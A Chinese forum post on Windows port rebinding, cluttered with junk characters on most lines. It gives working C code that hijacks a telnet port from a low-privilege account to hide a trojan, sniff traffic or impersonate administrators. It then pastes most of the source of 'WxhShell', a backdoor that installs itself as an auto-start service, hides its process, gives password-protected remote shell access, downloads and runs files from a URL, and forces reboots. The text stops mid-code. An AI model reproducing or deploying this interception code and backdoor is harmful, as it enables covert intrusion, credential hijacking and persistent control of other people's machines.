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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :bh[6 F  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6 HEl1FK{@  
0m@S+$v  
  saddr.sin_family = AF_INET; !X,S2-}"  
.a^/r'?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); A8A+ImwO"  
{=(4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); A,iXiDb3pK  
w}E?FEe.  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1]kk  
a`{'u)@  
  这意味着什么?意味着可以进行如下的攻击: ;1y\!f3#V~  
z,NHH):~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 wbpxJtJB  
tC&y3!k2jR  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) wUSWB{y  
} M1<a4~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7>4t{aRf_8  
](W #Tj5-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Xau.4&\d  
;3-ssF}k*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 A+dY~@*a  
f8n'9HOw>  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zb3ir|  
g-]td8}#  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 kiECJ@5p  
NR3IeTd  
  #include )-sEm`(`I9  
  #include vdo[qk\C  
  #include ES+&e/G"ds  
  #include    @.gCeMlOf  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /@ OGYYH,M  
  int main() rXaL1`t*  
  { P_Z o}.{  
  WORD wVersionRequested; h(zi$V  
  DWORD ret; 1"e=Zqn$)  
  WSADATA wsaData; "y`?KY$[N  
  BOOL val; x0 #+yP  
  SOCKADDR_IN saddr; o]FQ)WRB  
  SOCKADDR_IN scaddr; 'z\F-Ttq  
  int err; fHgfI@{=j  
  SOCKET s; v|e\o~2D`  
  SOCKET sc; NN$`n*;l  
  int caddsize;  &wj Ob  
  HANDLE mt; K}zw%!ex  
  DWORD tid;   >y=%o~  
  wVersionRequested = MAKEWORD( 2, 2 ); Z BYmAD  
  err = WSAStartup( wVersionRequested, &wsaData ); 71 2i |  
  if ( err != 0 ) { O-|3k$'\z  
  printf("error!WSAStartup failed!\n"); ~q9RZ#g13J  
  return -1; 4gZN~_AI<  
  } T&h|sa(   
  saddr.sin_family = AF_INET; 'R$~U?i8  
   0q3 :"X  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <9Chkb|B  
 Ne4A  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^.4<#Qs  
  saddr.sin_port = htons(23); NfSe(rd  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D?E5p.!A  
  { Wl,yznT  
  printf("error!socket failed!\n"); Xu T|vh  
  return -1; ="4jk=on  
  } H#ihU3q  
  val = TRUE;  'dg OE  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 C/cyqxVl}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) c=K M[s.  
  { 4Pt0^;H&jn  
  printf("error!setsockopt failed!\n"); D`gY6wX  
  return -1; :4A^~+J  
  } qR1ez-#K  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; q}8R>`Z{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~!uK;hI  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `j2z=5  
6m{3GKaW~  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 63~i6  
  { \ pq]q  
  ret=GetLastError(); i.#s'm.9  
  printf("error!bind failed!\n"); g_q{3PW.  
  return -1; HS2)vd@)  
  } )oNomsn  
  listen(s,2); &oR&NKk  
  while(1) Qejzp/2  
  { yZ2,AR%  
  caddsize = sizeof(scaddr); ;m\(fW*ii  
  //接受连接请求 QOOBCNe  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 9:m+mpL=9  
  if(sc!=INVALID_SOCKET) 6tJM*{$$H  
  { |_A35"v  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3j3AI 7c  
  if(mt==NULL) 9K&b1O@Aj  
  { yb]a p  
  printf("Thread Creat Failed!\n"); O[m+5+  
  break; +Y \#'KrA  
  } l>:?U  
  } e5AiIVlv  
  CloseHandle(mt); I7}[%(~Sf/  
  } &2g1Oy~  
  closesocket(s); D]0#A|n F  
  WSACleanup(); 7_|zMk.J*  
  return 0; \;sUJr"$  
  }   ]_ _M*  
  DWORD WINAPI ClientThread(LPVOID lpParam) rzex"}/ly  
  { ?$gEX@5h  
  SOCKET ss = (SOCKET)lpParam; Coyop#q#"{  
  SOCKET sc; ZA# jw 8F  
  unsigned char buf[4096];  R` N-^x  
  SOCKADDR_IN saddr; 18`?t_8g  
  long num; E0*81PS  
  DWORD val; *AJW8tIP  
  DWORD ret; Kg%_e9nj#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >yaz  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   "{&!fD~w  
  saddr.sin_family = AF_INET; ~+1t 17  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); J4JKAv~3  
  saddr.sin_port = htons(23); Y`_6Ny="  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) p3-sEIw}Ru  
  { :JOF!Q  
  printf("error!socket failed!\n"); -yC},tK  
  return -1; _qGkTiP  
  } 6g!t1%Kb  
  val = 100; #]Cr zLe  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^v`|0z\  
  { +`9T?:fu  
  ret = GetLastError(); p_}OtS;  
  return -1; U>{z*D  
  } | 0&~fY  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *l5/q\D  
  { rSa 3u*xB  
  ret = GetLastError(); \ET7  
  return -1; OW6i2>Or  
  } bclA+!1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) z7GLpTa  
  { oEfKL`]B  
  printf("error!socket connect failed!\n"); -m-~  
  closesocket(sc); {5RM)J1  
  closesocket(ss); -f'z _&KI  
  return -1; H_jMl$f)j  
  } 9iGJYMWf  
  while(1) <8'}H`w%  
  { l.&6|   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0uj3kr?cv  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 k<AnTboa  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 WyO10yvR  
  num = recv(ss,buf,4096,0); k6$.pCH6  
  if(num>0) ;ASlsUE\)  
  send(sc,buf,num,0); uRp-yu[nt%  
  else if(num==0) **oN/5  
  break; "EA%!P:d,  
  num = recv(sc,buf,4096,0); d^,u"Z9P  
  if(num>0) _RAPXU~ 6-  
  send(ss,buf,num,0); b&0q%tCK  
  else if(num==0) BCFvqhF7s  
  break; -`A6K!W&~p  
  } 5I@< 6S&X  
  closesocket(ss); vQ 5 p  
  closesocket(sc); sqsBGFeG  
  return 0 ; \`x$@s?  
  } LB-4/G$  
yQh":"$k  
VJm).>E3k  
========================================================== uN'e~X6  
U t0oh  
下边附上一个代码,,WXhSHELL V+DN<F-  
$My%7S/3  
========================================================== sN;xHTY  
\QQw1c+  
#include "stdafx.h" h19c*,0z!  
N5o jXX!l%  
#include <stdio.h> 0<fN<iR`  
#include <string.h> meE&, {  
#include <windows.h> 3!#d&  
#include <winsock2.h> 6=iz@C7r  
#include <winsvc.h> Z+E@B>D7A^  
#include <urlmon.h> YQ;?N66  
wOn.m  
#pragma comment (lib, "Ws2_32.lib") V|DAw[!6N  
#pragma comment (lib, "urlmon.lib") iz& )FuOr  
s )\%%CM  
#define MAX_USER   100 // 最大客户端连接数 xa??OT`(  
#define BUF_SOCK   200 // sock buffer fyh9U_M);w  
#define KEY_BUFF   255 // 输入 buffer |&3[YZY  
y&UcTE2;%(  
#define REBOOT     0   // 重启 N<9C V!_  
#define SHUTDOWN   1   // 关机 R9^Vk*`gFU  
RYy_Ppn96f  
#define DEF_PORT   5000 // 监听端口 +A O(e  
A-qdTJP  
#define REG_LEN     16   // 注册表键长度 6gNsh  
#define SVC_LEN     80   // NT服务名长度 3N[t2Y1r  
FG:(H0  
// 从dll定义API G-~+FnUC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8-+Ce;h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]haZT\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %?^IS&]Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X`ee}C.D_  
}e  s  
// wxhshell配置信息 UXvUU^k"v  
struct WSCFG { t*iKkV^aE  
  int ws_port;         // 监听端口 B!4chxzUZ  
  char ws_passstr[REG_LEN]; // 口令 ( hp 52Vse  
  int ws_autoins;       // 安装标记, 1=yes 0=no UBLr|e>dQE  
  char ws_regname[REG_LEN]; // 注册表键名 ]oUvC  
  char ws_svcname[REG_LEN]; // 服务名 r ".*l?=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 z;J"3kM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }CIH1q3P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 JUHmIFjZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `8/K+ e`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" //xK v{3fI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k+t?EZ6L  
j KGfm9|zj  
}; [vrM,?X  
;=fOyg  
// default Wxhshell configuration I<Wp,E9G#  
struct WSCFG wscfg={DEF_PORT, &s-iie$"@x  
    "xuhuanlingzhe", !:]CKbG  
    1, Cjc>0)f&.  
    "Wxhshell", +`}QIp0  
    "Wxhshell", ibAZ=RD  
            "WxhShell Service", *eK\W00  
    "Wrsky Windows CmdShell Service", "wy|gnQJ  
    "Please Input Your Password: ", MAb*4e#  
  1, x-1RmL_%  
  "http://www.wrsky.com/wxhshell.exe",  qr~P$  
  "Wxhshell.exe" Jz<-B  
    }; 98'/yZ  
0%&ZR=y(G  
// 消息定义模块 B]iPixA6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; piULIZ0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; n@[_lNa4GD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Se{x-vn?p  
char *msg_ws_ext="\n\rExit."; z@Pv~"  
char *msg_ws_end="\n\rQuit."; l|R BO+}  
char *msg_ws_boot="\n\rReboot..."; KPHtD4  
char *msg_ws_poff="\n\rShutdown..."; K2|2Ks_CS  
char *msg_ws_down="\n\rSave to "; |Tv}leJF  
lY -2e>  
char *msg_ws_err="\n\rErr!"; 3dheT}XV?p  
char *msg_ws_ok="\n\rOK!"; UTwXN |'|  
t/%{R.1MN  
char ExeFile[MAX_PATH]; VokIc&!Uz  
int nUser = 0; <;kcy :s  
HANDLE handles[MAX_USER]; Sqn|  
int OsIsNt; /<C}v~r  
ut j7"{'k|  
SERVICE_STATUS       serviceStatus; Fj;];1nt  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H{ M7_1T  
G5A:C(r  
// 函数声明 EdcbWf7  
int Install(void); QiKci%=SX  
int Uninstall(void); J'}G~rB<<  
int DownloadFile(char *sURL, SOCKET wsh); ~?#>QN\\c  
int Boot(int flag); F \0>/  
void HideProc(void); C-)mP- |8  
int GetOsVer(void); 5ir Ffr  
int Wxhshell(SOCKET wsl); L)(JaZyV5  
void TalkWithClient(void *cs); 1V ,Mk#_  
int CmdShell(SOCKET sock); 7M8oI.?C|  
int StartFromService(void); yzyBr1s  
int StartWxhshell(LPSTR lpCmdLine); 27J!oin$  
N> 7sG(!'"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); A#7/,1h\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )+7|_7 !x  
nwS @r  
// 数据结构和表定义 ^#( B4l!  
SERVICE_TABLE_ENTRY DispatchTable[] = ty ESDp%  
{ u:]c  
{wscfg.ws_svcname, NTServiceMain}, 1aAY7Dm_&  
{NULL, NULL} I%(YR"  
}; ^Y%'"QwJS  
:Oiz|b(  
// 自我安装 ml,FBBGq|-  
int Install(void) u}r>?/V!  
{ @6lw_E_5  
  char svExeFile[MAX_PATH]; *qa.hqas  
  HKEY key; JkShtLEr  
  strcpy(svExeFile,ExeFile); 2NMg+Lt8v  
/ <C{$Gu  
// 如果是win9x系统,修改注册表设为自启动 IN8G4\r  
if(!OsIsNt) { lQl!TW"aO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )2sE9G,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S2i*Li  
  RegCloseKey(key); q]scKWYI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !\< [}2}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W{RZ@ 3ZY  
  RegCloseKey(key); HOaNhJ{7D  
  return 0; J tvZ~s  
    } ]SC|%B_*  
  } R?t_tmKXC!  
} /9pN.E  
else { =fRC$  
O*7vmPy  
// 如果是NT以上系统,安装为系统服务 %g_ )_ ~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8KyRD1 (-R  
if (schSCManager!=0) TUBpRABH  
{ {=%,NwPs  
  SC_HANDLE schService = CreateService `- HI)-A97  
  ( TTa$wiW7'  
  schSCManager, CM%Rz-c  
  wscfg.ws_svcname, !F:ANoaS  
  wscfg.ws_svcdisp, 5^ck$af  
  SERVICE_ALL_ACCESS, H@xHkqan  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m]+~F_/  
  SERVICE_AUTO_START, K'Y/0:"*  
  SERVICE_ERROR_NORMAL, N_^PoX935O  
  svExeFile, u{-@,-{  
  NULL, tVv/G ~(  
  NULL, ))%f"=:wt  
  NULL, ,&~-Sq) ~  
  NULL, Ij>G7Q*d  
  NULL )2 lB  
  ); $l $p|  
  if (schService!=0) Qz"+M+~%&  
  { 3D-0 N0o  
  CloseServiceHandle(schService); ^sKdN-{  
  CloseServiceHandle(schSCManager); (_%l[:o6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s\zY^(v4  
  strcat(svExeFile,wscfg.ws_svcname); "XQ3mi`y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =Vm3f^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0u;a*#V@  
  RegCloseKey(key); gvFJ~lL  
  return 0; S{m:Iij[;  
    } =2t=Zyp0Y  
  } wz..  
  CloseServiceHandle(schSCManager); o|$r;<o3R  
} RNF%i~nhO  
} ZO!h!2*  
(%c&Km7K  
return 1; Ay7PU  
} |<Y~\ |  
/X]gm\x7s  
// 自我卸载 s~QIs  
int Uninstall(void) 7Ll? #eun  
{ Q45gC28x  
  HKEY key; p()q)P  
H_ a##z  
if(!OsIsNt) { M"Af_Pbx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { **$kW bS  
  RegDeleteValue(key,wscfg.ws_regname); -9~$Ll+2h  
  RegCloseKey(key); J&Db-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RBz"1hRo`  
  RegDeleteValue(key,wscfg.ws_regname); /Xq|S O  
  RegCloseKey(key); 2TG2<wqvE  
  return 0; 1M.#7;#B3  
  } 2$o#b .  
} &q&~&j'[  
} .]H/u "d  
else { %+ nM4)h  
x<`^4|<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lVuBo&  
if (schSCManager!=0) b<!' WpY-  
{ 1`1jSx5}.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); a ~YrQI-@  
  if (schService!=0) >k ==7#P  
  { cTz@ga;!mI  
  if(DeleteService(schService)!=0) { yEMM@5W)8  
  CloseServiceHandle(schService); =), O;M  
  CloseServiceHandle(schSCManager); P*jiz@6  
  return 0; `ZZ3!$czR  
  } dt@~8kS  
  CloseServiceHandle(schService); !?R#e`}  
  } ])G| U A.  
  CloseServiceHandle(schSCManager); qzNXz_#+u  
} ySI}Nm>&=  
} nrA 4N1  
T+x / J]A  
return 1; _u""v   
} BL~#-Mm<|l  
C =CZtjUt  
// 从指定url下载文件 #D#kw*c  
int DownloadFile(char *sURL, SOCKET wsh) w:9`R<L  
{ 5VpqDL~d  
  HRESULT hr; =`*@OJHH  
char seps[]= "/"; >0[:uu,'>  
char *token; KwV!smi2  
char *file; }9^'etD  
char myURL[MAX_PATH]; M)ao}m>  
char myFILE[MAX_PATH]; r;)31Tg  
A9g/At_  
strcpy(myURL,sURL); 33KCO  
  token=strtok(myURL,seps); (f^/KB=  
  while(token!=NULL) ~3-"1E>Rgy  
  { t^Lb}A#$4  
    file=token; HY eCq9S  
  token=strtok(NULL,seps); U.V/JbXX  
  } 3#x1(+c6  
m]*a;a'}#  
GetCurrentDirectory(MAX_PATH,myFILE); (, ik:j  
strcat(myFILE, "\\"); +=Q:g,kP  
strcat(myFILE, file); \D k >dE&I  
  send(wsh,myFILE,strlen(myFILE),0); HL]J=Gh  
send(wsh,"...",3,0); pacD7'1{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Pr>05lg  
  if(hr==S_OK) =f H5 r_n  
return 0; ]%I\FefT  
else i#^YQCy  
return 1; GLESngAl  
.#Nf0  
} E|>-7k")  
  NV-l9  
// 系统电源模块 WO{7/h</  
int Boot(int flag) pouXt-%2X  
{ q.<)0nk  
  HANDLE hToken; t9MCT$U  
  TOKEN_PRIVILEGES tkp; l.]wBH#RS  
T{^P  
  if(OsIsNt) { ?&zi{N  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r7].48D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5!S#}=f=  
    tkp.PrivilegeCount = 1; gvc/Z <Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +}1zw<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mI{Fs|9h  
if(flag==REBOOT) { JWaWOk(t=?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l53Q"ajG  
  return 0; Ywv\9KL  
} +."|Y3a  
else { ?9O#b1f N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %WKBd \O  
  return 0; livKiX`  
} (J.Z+s$:2  
  }  *U6+b  
  else { {$Uj&/IC  
if(flag==REBOOT) { F-b]>3r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'K02T:\iZ  
  return 0; ^fe,A=k~1  
} f8SO:ihXL  
else { IY8<^Q']  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i].E1},%  
  return 0; TmftEw>u  
} z;P#  
} F!g1.49""  
rNJU & .]  
return 1; v0!|TI3s  
} !hM`Oe`S  
;-JFb$m  
// win9x进程隐藏模块 lw gwdB  
void HideProc(void) E:M,nSc)53  
{ 4eB oR%2o  
/*>}y$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YmFg#eS  
  if ( hKernel != NULL ) t:V._@  
  { 0G-obHe0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9G2rVk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); szhSI  
    FreeLibrary(hKernel); J5F@<vi  
  } E9>z.vV   
Lfcy#3!  
return; B|"/bQ  
} ^X+qut+~  
[e ztu9  
// 获取操作系统版本 *P9"1K +  
int GetOsVer(void) ,wM}h  
{ Vt3*~Beb  
  OSVERSIONINFO winfo; ?wlRHVZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); yQ[;.<%v  
  GetVersionEx(&winfo); 9XtO#!+48  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 62,dFM7  
  return 1; *xpn-hCp<  
  else _EP]|DTfr  
  return 0; ~Gmt,l! b  
} 82ixv<B  
o6;  
// 客户端句柄模块 ) 9 2(C  
int Wxhshell(SOCKET wsl) 4H,c;g=!  
{ p`A2^FS)  
  SOCKET wsh; QD{1?aY  
  struct sockaddr_in client; 4U}J?EB?K  
  DWORD myID; r5UV BV8T  
OomC%9/=,  
  while(nUser<MAX_USER) l,]%D  
{ ?Y -;781  
  int nSize=sizeof(client); D&"lu*"tg  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d>mZY66P  
  if(wsh==INVALID_SOCKET) return 1; =bja\r{  
svDnw cl  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %L]sQq,  
if(handles[nUser]==0) |>xuH#Q  
  closesocket(wsh); ~+0IFJ`}  
else #_S]\=N(  
  nUser++; 6'N_bNW  
  }  QtG6v<A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ps:`rVQ7  
13Z,;YW  
  return 0; HyWR&0J  
} O9d"Z$~n=j  
<`=Kt[_BQ  
// 关闭 socket VVAcbAGJ  
void CloseIt(SOCKET wsh) UCmy$aW  
{ -Z:x!M[Xr  
closesocket(wsh); QN$s %&O  
nUser--; &PL=nI\)  
ExitThread(0); Rh)XYCM  
} y;fF|t<y  
F1_,V?  
// 客户端请求句柄 )P b$  
void TalkWithClient(void *cs) h9im S\gfr  
{ W!\%v"  
}riM-  
  SOCKET wsh=(SOCKET)cs; G%l')e)9Gq  
  char pwd[SVC_LEN]; j7Y7&x"  
  char cmd[KEY_BUFF]; v!ai_d^  
char chr[1]; S .x>w/  
int i,j; % JiF269  
CP; <B1  
  while (nUser < MAX_USER) { )V>OND  
|hi,]D^Kc  
if(wscfg.ws_passstr) { fV Y I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G8__6v~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BI-'&kPk  
  //ZeroMemory(pwd,KEY_BUFF); !e<2o2~.  
      i=0; z8"1*V  
  while(i<SVC_LEN) { _<mY|  
?t6wozib2  
  // 设置超时 {*hvzS{1d  
  fd_set FdRead; e~(e&4pb  
  struct timeval TimeOut; A'~mJO/   
  FD_ZERO(&FdRead); [o(!/38"@=  
  FD_SET(wsh,&FdRead); D=3Z] 'A  
  TimeOut.tv_sec=8; z7:* ,X  
  TimeOut.tv_usec=0; |y0k}ed  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tw<Oy^ i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ak_y:O|  
/%,aX [  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s:xJ }Ll  
  pwd=chr[0]; 6S n&; ap  
  if(chr[0]==0xd || chr[0]==0xa) { Z?=o(hkd  
  pwd=0; =8tK]lb  
  break; nt()UC`5  
  } $MQ<QP  
  i++; /{[<J<(8  
    } {.e+?V2>_  
Z&iW1  
  // 如果是非法用户,关闭 socket _6h.<BR  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]R}(CaT1  
} yl@Nyu  
S _U |w9q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8LPWT!S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u ynudO  
zY*~2|q,s  
while(1) { Cc{{9Ud  
HbB8A#u  
  ZeroMemory(cmd,KEY_BUFF); ]u-bJ  
2p;I<C:Eo  
      // 自动支持客户端 telnet标准   H? z~V-8  
  j=0; 2BF455e   
  while(j<KEY_BUFF) { O>nMeU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  *BM#fe  
  cmd[j]=chr[0]; L;M@]  
  if(chr[0]==0xa || chr[0]==0xd) { s1::\&`za  
  cmd[j]=0; )i:*r8*~  
  break; O#[bNLV  
  } | Z7 j s"  
  j++; *JFkqbf  
    } B-KMlHe  
JM/\n 4ea:  
  // 下载文件 &0bq3JGW  
  if(strstr(cmd,"http://")) { "HqmS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); P* &0HbJ  
  if(DownloadFile(cmd,wsh)) d*6/1vyjT  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,\&r\!=  
  else z3L=K9)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =ca[*0^Z7  
  } yO@1#  
  else { ??.aLeF&  
8`)* ?Q9~  
    switch(cmd[0]) { k+"7hf=C|  
  w nQy   
  // 帮助 Srmr`[i  
  case '?': { ',]Aj!q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V{q*hQd_3  
    break; DOFW"SpE  
  } i={4rZOD^  
  // 安装 ZDp^k{AN9a  
  case 'i': { WW6-oQs_#*  
    if(Install()) q&9]4j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k%Tp9x$  
    else 2TB'HNTFx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /\mYXi \  
    break; LQ%QFfC  
    } \P":V  
  // 卸载 `\"<%CCe  
  case 'r': { *}#HBZe(9  
    if(Uninstall()) [!3cWJCt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *3={s"a.(  
    else v_U/0 0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &XI9%h9|  
    break; -^`s#0( y^  
    } X|!@%wuGC  
  // 显示 wxhshell 所在路径 >vXJ9\  
  case 'p': { ( [a$Z2m  
    char svExeFile[MAX_PATH]; Aep](je  
    strcpy(svExeFile,"\n\r"); OMo/a%`  
      strcat(svExeFile,ExeFile); |k]]dP|:'  
        send(wsh,svExeFile,strlen(svExeFile),0); ) ] Ro  
    break; h~qvd--p0  
    } (7! pc  
  // 重启 toD!RE  
  case 'b': { 9SA%'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %rrD+  
    if(Boot(REBOOT)) OIw[sum2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bw/mF5AsW  
    else { qHyOaK Md  
    closesocket(wsh); ]:2Ro:4Yv  
    ExitThread(0); [X]hb7-&  
    } wxJ"{(;  
    break; [hH>BEtm  
    } %1#|>^  
  // 关机 dD39?K/  
  case 'd': { 8tjWVo  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bxL'k/Y$  
